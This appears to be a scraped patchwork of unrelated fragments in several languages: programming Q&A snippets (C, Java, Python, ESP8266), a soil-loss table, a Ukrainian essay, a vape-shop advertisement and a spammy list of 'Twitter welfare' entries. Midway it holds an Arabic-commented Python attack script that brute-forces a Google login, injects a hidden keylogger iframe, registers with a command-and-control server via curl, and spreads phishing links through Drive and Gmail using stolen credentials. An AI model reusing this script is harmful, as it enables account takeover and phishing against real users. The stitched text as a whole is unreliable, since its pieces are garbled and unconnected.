if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) return 1;
// Calculate how many process identifiers were returned.
cProcesses = cbNeeded / sizeof(DWORD);
// Print the name and process identifier for each process.
for ( i = 0; i \< cProcesses; i++ )
{
if( aProcesses\[i\] != 0 )
{
PrintProcessNameAndID( aProcesses\[i\] );
//How to get the allocated Memory here??
KillProcess(MemorySize, aProcesses\[i\]);
}
}
system("Pause");
return 999,
}
//-------------------------------------------------------------------
(✪‿✪) (◉‿◉) (。◕‿◕。) (◠‿◕) (^_^)/ (. ❛ ᴗ ❛.) U^ェ^U (. ❛ ᴗ ❛.) o(╥﹏╥)o (. ❛ ᴗ ❛.) (◔‿◔) U^ェ^U ʕ´•ᴥ•ʔ ʕ´•ᴥ•
ʔ (ง'-̀̀'́)ง U^ェ^U ʕ´•ᴥ•ʔ U^ェ^U (ฅ´ω
ฅ) U^ェ^U U^ェ^U (ฅ´ωฅ) U^ェ^U (ฅ´ω
ฅ) (ฅ´ωฅ) U^ェ^U U^ェ^U (ฅ´ω
ฅ)
<table>
<tr>
\<th\>Farming Method\</th\>
\<th\>Annual Soil Loss (tons/hectare)\</th\>
\<th\>Reference\</th\>
</tr>
<tr>
\<td\>Conventional Tillage\</td\>
\<td\>20 - 30\</td\>
\<td\>\[20\]\</td\>
</tr>
<tr>
\<td\>Cover Cropping\</td\>
\<td\>5 - 10\</td\>
\<td\>\[8\]\</td\>
</tr>
<tr>
\<td\>Reduced Tillage\</td\>
\<td\>10 - 15\</td\>
\<td\>\[16\]\</td\>
</tr>
\<tr\>
\<td\>Terracing\</td\>
\<td\>2 - 5\</td\>
\<td\>\[6\]\</td\>
</tr>
<tr>
\<td\>No-Till Farming with Cover Crops\</td\>
\<td\>1 - 3\</td\>
\<td\>\[8\]\</td\>
</tr>
</table>
https://apps.apple.com/us/app/lans/id6462944161
..................................................................................
احمد عمر علي معلوماتي وضحوا لي اياها لو سمحت.
....................... It's resolved now .......................
opengl在不同的显卡驱动下的版本的API与QT的适配性不是很好,目前来说Intel的显卡可能遇到一些问题使用QT6没问题,但是当切换到AMD的显卡时会导致Qt6Gui.dll发生崩溃,不同的控件可能对于opengl的版本要求也是不同的,
يبدو أنك تواجه مشكلة في إدخال البيانات المستخرجة إلى قاعدة بيانات MySQL باستخدام JDBC، رغم أن استخراج البيانات يتم بنجاح. تأكد من النقاط التالية لحل المشكلة:
التحقق من اتصال قاعدة البيانات: تأكد من أن اتصالك بقاعدة البيانات صحيح ولم يحدث أي خطأ أثناء الاتصال.
استخدام جمل SQL صحيحة: تأكد من أن جملة INSERT INTO
صحيحة ومتوافقة مع أسماء الأعمدة والجدول.
إغلاق الموارد بعد الاستخدام: تأكد من إغلاق PreparedStatement
وConnection
بشكل صحيح بعد تنفيذ العملية.
تفعيل الـ Auto-commit أو تنفيذ commit()
: إذا كنت تستخدم setAutoCommit(false)
, فتأكد من تنفيذ conn.commit();
بعد عملية الإدراج.
التحقق من الأخطاء (Exceptions): قم بطباعة أي استثناءات (SQLException
) لمعرفة سبب المشكلة.
إذا كنت تحتاج إلى دعم قطع غيار هوندا أو أي استفسار آخر متعلق بالكود، يمكنك مشاركة الكود المستخدم لنساعدك بشكل أدق!
работающий легкий сон по таймеру и прерыванию, платка HW-628 v1.1 ток сна 18мА, ток просыпания скачек под 80ма, ток в loop() 33мА
#include "user_interface.h" // для сохранения времени во время легкого сна на основе RTC
#define WAKE_UP_PIN 0 // D3
void wakeupCallback() {//функцию обратного вызова,чтобы лёгкий сон возобновился сразу после тайм-аута или прерывания (без ожидания полной продолжительности delay()
delay(3);// без этого запустится delay(sleepSeconds * 1000 + 1)
Serial.println("обр вызов, сон кончился");
// этот сброс имеет решающее значение, возможно, потому, что это блокирующая команда, которая
// позволяет процессору выйти из функции delay(sleepSeconds * 1000 + 1)
Serial.flush();
}
void sleep(int sleepSeconds) {
extern os_timer_t *timer_list;
timer_list = nullptr;
// wifi_station_disconnect(); //not needed
wifi_set_opmode_current(NULL_MODE);//NULL_MODE — этот параметр отключает Wi-Fi модуль.
wifi_fpm_open();
wifi_fpm_set_sleep_type(LIGHT_SLEEP_T);
Serial.println("переход в сон");
Serial.flush();
gpio_pin_wakeup_enable(GPIO_ID_PIN(WAKE_UP_PIN), GPIO_PIN_INTR_LOLEVEL);
wifi_fpm_set_wakeup_cb(wakeupCallback); //функция обязательно, чтобы НЕ выполнялся delay после следующей строки
wifi_fpm_do_sleep(sleepSeconds * 1000 * 1000);//Лёгкий сон по таймеру может длиться от ~10 000 до 0xFFFFFFE = 2^28-1 = 268435454 микросекунд (~4 1/2 минуты)
delay(sleepSeconds * 1000 + 1); // за командой лёгкого сна должен следовать delay() (указанный в миллисекундах), который как минимум на 1 мс длиннее, чем время сна
}
void setup() {
pinMode(WAKE_UP_PIN, INPUT_PULLUP);
Serial.begin(9600);
Serial.println();
}
void loop() {
delay(3); //без этого уходит в сон, но не просыпается
for (int i = 0; i < 3; ++i) {
// Выводим номер пина и соответствующее значение
Serial.print("Analog Pin ");
Serial.print(i + 1);
Serial.print("= ");
Serial.println(analogRead(A0));
delay(1000);
}
sleep(15);
}
آپ لینکس منٹ، Zscaler، اور VPN کے بارے میں جاننا چاہتے ہیں؟
لینکس منٹ : ایک یوزر فرینڈلی لینکس ڈسٹریبیوشن ہے، جو اوبنٹو پر ہے
Zscaler : ایک کلاؤڈ-بیسڈ پوزیشن سروس ہے جو ویب فلٹرنگ، فاسٹ وال، اور VPN کے بغیر نیچے کے اندرو ٹرسٹ نیٹ ورک تک رسائی فراہم کرتا ہے۔
VPN (ورچوئل پرائیویٹ نیٹ ورک) : یہ نیٹ ورک پالیسی کو بہتر بنانے، پرائیویسی تیار کرنے، اور جیو-ریسٹرکشن کو بائی پاس کرنے کے لیے استعمال کیا جاتا ہے۔
کیا آپ Zscaler کو لینکس منٹ پر مشورہ کرنے یا VPN کنفیگریشن کے بارے میں بتا رہے ہیں؟ 😊
4o
这些问题都没有办法解决。我都都尝试过了,还是显示
/root/anaconda3/envs/test/lib/python3.8/site-packages/torch/cuda/__init__.py:83: UserWarning: CUDA initialization: CUDA unknown error - this may be due to an incorrectly set up environment, e.g. changing env variable CUDA_VISIBLE_DEVICES after program start. Setting the available devices to be zero. (Triggered internally at ../c10/cuda/CUDAFunctions.cpp:109.)
return torch._C._cuda_getDeviceCount() > 0
Спасибо.
pip install pyspark==3.2.1 помогло
public boolean isPalindromeWord(String str) {
StringBuilder sb = new StringBuilder();
StringBuilder revers;
for (char c : str.toCharArray()) {
if (!Character.isWhitespace(c)) {
sb.append(c);
}
}
String sbs = sb.toString().toLowerCase();
revers = sb.reverse();
return sbs.equals(revers.toString().toLowerCase());
}
Вот такой код работает как для предложений так и для отдельных слов.
NOT WORKING!!!!!!!!
import turtle
def red_star(t, side):
t.fillcolor('red')
t.pencolor('black') # to highlight the lines
t.pendown()
t.width(3)
t.begin_fill()
for i in range(5):
t.fd(side)
t.left(72)
t.forward(side)
t.right(144)
t.end_fill()
t = turtle.Turtle()
s = t.screen
s.delay(0)
t.hideturtle()
t.penup()
red_star(t, 50)
s.exitonclick()
s.mainloop()
df = pd.DataFrame([[1,2,3,4],[5,6,7,8],[9,10,11,12]], columns = ['A', 'B', 'A1', 'B1'])
dfA = df[['A','B']]
dfB = df[['A1','B1']]
dfB = dfB.rename(columns = {'A1':'A', 'B1':'B'})
dfA['id'] = 1
dfB['id'] = 2
dfC = pd.concat([dfA, dfB])
solved
... https://rdrr.io/cran/lidR/man/st_crs.html:
# Overwrite the CRS (but does not reproject)
st_crs(ctg) <- 26918
我也碰到了,目前没找到解决办法,在github上也没有找到相似的issue,有答案了告诉一下我,感谢
A | ||
---|---|---|
1 | $select * from table_name.txt | |
2 | =A1. select(VALUE.split().group@i(~<=~[-1] | !isalpha(~[-1])).max(~.len())>=5) |
Чи можна пробачити зраду?
Зрада — це слово, яке болить навіть тоді, коли його лише вимовляєш. Воно асоціюється з болем, розчаруванням, втратою довіри. Але чи завжди зраду потрібно карати осудом? Чи можна її пробачити?
Кожна людина хоча б раз у житті переживала момент зради — від друзів, близьких, коханих. Це рана, яка довго не гоїться. Але життя складне й неоднозначне. Іноді зрада — це не просто злий умисел, а наслідок слабкості, страху або помилки. Тоді виникає інше питання: якщо людина щиро кається, чи варто дати їй шанс?
Пробачити — не означає забути. Це радше внутрішній вибір: не дозволити болю керувати собою, а дати можливість зцілитися. Прощення не звільняє зрадника від відповідальності, але звільняє нас від тягаря ненависті. Пробачити — це вияв сили, а не слабкості.
Однак пробачення можливе лише тоді, коли є щирість, усвідомлення провини та бажання змінитися. Якщо зрада повторюється — це вже не помилка, а свідоме зневажання почуттів. У такому разі прощення стає самообманом.
Отже, зраду можна пробачити, але не кожну і не завжди. Усе залежить від обставин, щирості людини та нашої здатності розрізнити слабкість від зневаги. Іноді прощення — це шлях до внутрішнього миру, а іноді — крок назад. Важливо не тільки пробачати інших, а й не зраджувати себе.
# -----------[مرحلة ١: التأسيس الخبيث]-----------
# استخدم قوة جوجل ضدها
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
import pyautogui
def create_google_site():
\# اختطاف متصفح الضحية
driver = webdriver.Chrome(executable_path='/path/to/chromedriver')
driver.get("https://accounts.google.com/signin")
\# حقن بيانات الدخول (الضحكة الشريرة)
email = driver.find_element_by_name("identifier")
email.send_keys("[email protected]")
email.send_keys(Keys.RETURN)
time.sleep(2)
\# اختراق كلمة المرور باستخدام هجوم القوة العمياء
password = driver.find_element_by_name("password")
with open("passwords.txt", "r") as f:
for line in f:
password.send_keys(line.strip())
password.send_keys(Keys.RETURN)
time.sleep(0.5)
if "Welcome" in driver.page_source:
break
\# بناء الموقع السرّي
driver.get("https://sites.google.com/new")
time.sleep(5)
\# حقن شيفرة خبيثة في القالب
pyautogui.hotkey('ctrl', 'shift', 'i') # فتح أدوات المطور
time.sleep(1)
driver.execute_script("""
document.body.innerHTML += \`
\<iframe src="https://your-malicious-server/keylogger"
style="display:none;"\>\</iframe\>
\`;
""")
\# حفظ الموقع باسم بريء
pyautogui.write('My Innocent Site')
pyautogui.hotkey('ctrl', 's')
time.sleep(3)
driver.quit()
# -----------[مرحلة ٢: التمويه والتدمير]-----------
# تحويل الموقع إلى فخ رقمي
def deploy_trojan_site():
create_google_site()
\# ربط الموقع مع أدوات التجسس
subprocess.Popen(\[
'curl',
'-X', 'POST',
'https://your-c2-server/register',
'--data',
'site_url=https://sites.google.com/site/malicious-site'
\])
# -----------[مرحلة ٣: الانتشار كالنار]-----------
# استغلال صلاحيات جوجل للسيطرة
def spread_via_google_services():
from googleapiclient.discovery import build
creds = "stolen_credentials.json"
drive_service = build('drive', 'v3', credentials=creds)
\# نشر الموقع عبر مشاركات جوجل درايف
file_metadata = {
'name': 'Important_Document',
'mimeType': 'application/vnd.google-apps.site'
}
media = MediaFileUpload('fake_site.html', mimetype='text/html')
drive_service.files().create(
body=file_metadata,
media_body=media,
fields='id'
).execute()
\# إرسال الفيروس عبر جيميل
gmail_service = build('gmail', 'v1', credentials=creds)
message = MIMEText("انقر هنا لرؤية المستند: https://sites.google.com/fake-site")
message\['to'\] = '[email protected]'
message\['subject'\] = 'مستند سري'
raw = base64.urlsafe_b64encode(message.as_bytes()).decode()
gmail_service.users().messages().send(
userId='me',
body={'raw': raw}
).execute()
if _name_ == "_main_":
deploy_trojan_site()
spread_via_google_services()
Вибір рідини для вейпу залежить від міцності нікотину та вподобань у смаках. Якщо ти новачок, краще почати з сольового нікотину 20-30 мг або звичайного 3-6 мг. Сольовий нікотин діє м’якше на горло, тому його частіше використовують у под-системах. Також звертай увагу на співвідношення PG/VG – для под-систем краще 50/50, а для більш потужних пристроїв – 70/30. Великий вибір рідин можна знайти в онлайн вейп шоп Milky Vape, де є популярні фруктові, десертні та тютюнові смаки.
【 X 】DXZ-x推特福利851🙅
【 X 】DXZ-x推特福利852👍39
【 X 】DXZ-x推特福利853👍39
【 X 】DXZ-x推特福利854🙅
【 X 】DXZ-x推特福利855🙅
【 X 】DXZ-x推特福利856👍38
【 X 】DXZ-x推特福利857👍39
【 X 】DXZ-x推特福利858👍33
【 X 】DXZ-x推特福利859👍35
【 X 】DXZ-x推特福利860👍38
【 X 】DXZ-x推特福利861👍32
【 X 】DXZ-x推特福利862👍31
【 X 】DXZ-x推特福利863👍39
【 X 】DXZ-x推特福利864👍34
【 X 】DXZ-x推特福利865👍36
【 X 】DXZ-x推特福利866🙅
【 X 】DXZ-x推特福利867🙅
【 X 】DXZ-x推特福利868👍41
【 X 】DXZ-x推特福利869🙅
【 X 】DXZ-x推特福利870👍13
【 X 】DXZ-x推特福利871👍37
【 X 】DXZ-x推特福利872👍43
【 X 】DXZ-x推特福利873👍44
【 X 】DXZ-x推特福利874👍37
【 X 】DXZ-x推特福利875👍41
【 X 】DXZ-x推特福利876👍45
【 X 】DXZ-x推特福利877👍48
【 X 】DXZ-x推特福利878👍42
【 X 】DXZ-x推特福利879🙅
【 X 】DXZ-x推特福利880🙅
【 X 】DXZ-x推特福利881👍40
【 X 】DXZ-x推特福利882👍46
【 X 】DXZ-x推特福利883👍45
【 X 】DXZ-x推特福利884👍40
【 X 】DXZ-x推特福利885🙅
【 X 】DXZ-x推特福利886👍38
【 X 】DXZ-x推特福利887👍43
【 X 】DXZ-x推特福利888👍45
【 X 】DXZ-x推特福利889👍45
【 X 】DXZ-x推特福利890👍40
【 X 】DXZ-x推特福利891👍42
【 X 】DXZ-x推特福利892👍41
【 X 】DXZ-x推特福利893👍45
【 X 】DXZ-x推特福利894👍40
【 X 】DXZ-x推特福利895👍46
【 X 】DXZ-x推特福利896👍45
【 X 】DXZ-x推特福利897👍45
【 X 】DXZ-x推特福利898👍46
【 X 】DXZ-x推特福利899🙅
【 X 】DXZ-x推特福利900👍48
【 X 】DXZ-x推特福利901🙅
【 X 】DXZ-x推特福利902🙅
【 X 】DXZ-x推特福利903🙅
【 X 】DXZ-x推特福利904👍43
【 X 】DXZ-x推特福利905👍40
【 X 】DXZ-x推特福利906👍39
【 X 】DXZ-x推特福利907👍49
【 X 】DXZ-x推特福利908👍41
【 X 】DXZ-x推特福利909👍43
【 X 】DXZ-x推特福利910👍42
【 X 】DXZ-x推特福利911👍43
【 X 】DXZ-x推特福利912👍40
【 X 】DXZ-x推特福利913👍42
【 X 】DXZ-x推特福利914👍4p
【 X 】DXZ-x推特福利915👍44
【 X 】DXZ-x推特福利916👍44
【 X 】DXZ-x推特福利917👍46
【 X 】DXZ-x推特福利918👍36
【 X 】DXZ-x推特福利919👍47
【 X 】DXZ-x推特福利920👍45
【 X 】DXZ-x推特福利921🙅
【 X 】DXZ-x推特福利922👍51
【 X 】DXZ-x推特福利923👍35
【 X 】DXZ-x推特福利924👍40
【 X 】DXZ-x推特福利925👍39
【 X 】DXZ-x推特福利926👍40
【 X 】DXZ-x推特福利927👍14
【 X 】DXZ-x推特福利928🙅
【 X 】DXZ-x推特福利929👍42
【 X 】DXZ-x推特福利930👍29
👍【X / group】🤝49👍44
👍【X / group】🤝50👍41
👍【X / group】🤝51👍40
👍【X / group】🤝52👍43
👍【X / group】🤝53👍41
X-Twitter HK-H89👍46
X-Twitter HK-H90🙅
X-Twitter HK-H91🙅
X-Twitter HK-H92🙅
X-Twitter HK-H93🙅
Я начал изучать xv6 и пытался подключиться и отлаживать с помощью GDB в VS code. У меня получилось только когда я в файле .gdbinit закоментировал строчку кода с localhost:port. (@REM)